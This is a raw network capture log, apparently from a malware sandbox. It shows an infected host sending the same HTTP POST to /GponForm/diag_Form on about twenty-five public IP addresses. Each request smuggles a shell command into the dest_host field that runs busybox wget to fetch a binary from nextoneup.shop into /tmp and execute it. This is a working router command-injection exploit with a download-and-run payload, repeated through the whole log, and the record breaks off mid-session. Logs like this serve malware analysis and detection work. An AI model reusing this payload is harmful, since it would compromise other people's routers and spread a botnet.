Session ID	Source IP	Source Port	Destination IP	Destination Port
1613	192.168.2.13	52438	202.253.215.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132428885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1614	192.168.2.13	53840	42.205.169.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132455111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1615	192.168.2.13	60066	210.55.148.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132468939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1616	192.168.2.13	47960	117.178.223.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132472038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1617	192.168.2.13	58454	117.181.119.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132518053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1618	192.168.2.13	42346	212.214.212.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132538080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1619	192.168.2.13	52328	79.37.249.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132580996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1620	192.168.2.13	52818	109.39.83.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132591009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1621	192.168.2.13	53444	109.190.188.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132617950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1622	192.168.2.13	41802	2.27.106.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132622957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1623	192.168.2.13	44524	37.103.66.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132633924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1624	192.168.2.13	40908	148.0.67.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132675886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1625	192.168.2.13	56032	2.199.141.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132687092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1626	192.168.2.13	40462	2.100.186.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132710934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1627	192.168.2.13	41922	42.18.208.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132723093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1628	192.168.2.13	33402	109.112.207.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132735014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1629	192.168.2.13	59162	2.251.177.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132776976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1630	192.168.2.13	53950	210.84.74.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132786036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1631	192.168.2.13	34256	79.167.183.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132811069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1632	192.168.2.13	55978	42.204.254.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132814884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1633	192.168.2.13	52656	123.157.78.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132838964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1634	192.168.2.13	45090	2.226.191.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132858038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1635	192.168.2.13	33170	2.157.66.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132885933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1636	192.168.2.13	39576	5.62.171.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132900953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1637	192.168.2.13	37000	118.136.87.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132924080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1638	192.168.2.13	41358	37.194.52.80	443

Timestamp	Bytes transferred	Direction	Data
